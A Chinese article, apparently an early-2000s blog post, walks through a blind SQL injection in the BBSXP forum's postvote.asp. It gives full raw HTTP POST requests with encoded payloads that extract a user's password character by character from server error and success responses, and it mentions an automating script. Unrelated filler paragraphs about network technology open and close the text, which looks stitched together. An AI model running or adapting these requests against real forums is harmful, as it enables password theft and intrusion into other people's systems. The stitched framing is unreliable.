网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
这段时间上网遇到朋友,问起关于BBSXP漏洞的问题,我淡淡地说,生病了,没有看。他说,哦,最近到BBSXP看先生的漏洞文章都给删了,看来BBSXP对先生还是很深恶痛绝的,先生还是写点什么吧。我说,哦,那我就写点什么吧。
我在生病之余还看了一本叫《重构》的影印本书,虽然是讲的java的重构,但是确实对所有的语言都有启发的作用,对于BBSXP的代码形式,我不想多说,如果开发者有机会拜读一下这本书的话,想必可以学到些什么。代码写得不好看不是什么丢人的事情,但改善了后必定会让别人刮目相看。每次都会给BBSXP提些免费的建议,这次就废话这么多吧,身体不好,打字很费体力。
postvote.asp有一段代码是这样子的,非常扎眼
sql="select * from forum where id="&Request("id")&""
rs.Open sql,Conn,1,3
有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析:
利用这个漏洞首先要有一个投票的项目,这个投票的项目可以是自己发的一个贴子,我们要记录下这个贴字的id号,把鼠标移到标题上看浏览器的状态栏,或者直接点进去看浏览器的地址栏都可以得到id,比如我在自己机器上测试的是id为2。
用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据,我抓到的数据是这样的:
POST /bbsxp/postvote.asp?id=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
利用的话,只需要修改一点点东西,就是POST后面的路径和文件。因为注入是发生在id上的,所以我们提交恶意的id就可以构造我们的查询条件了,比如我们猜test的密码第一位,是1,当然,我们先猜一个2看看,这时候我们提交的id的值应该是
2 and 1=(select count(*) from user where username='test' and right(left(userpass,1),1)='1
将所有的空格全部用%20代替(为什么?不要问我),就成了下面的样子(NC到对方的web口):
POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username='test'%20and%20right(left(userpass,1),1)='2') HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空,就是说我们猜错了。如果我们猜对了的话,应该是这个:
POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username='test'%20and%20right(left(userpass,1),1)='1') HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 200 OK,不管其他是什么,这里肯定是猜对了。重复这个简单无聊的过程,便可一位一位猜出密码来,有时间你可以慢慢写程序,或者是慢慢猜,但是可以肯定的是,这种事情是毫无意义的。
先给朋友们看这个文章的时候,有位仁兄友情编写了一个“很没有意义的”程序,就是来猜这个的,非常的分特啊。好像只是能用而已,有条件的朋友可以测试一下!
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。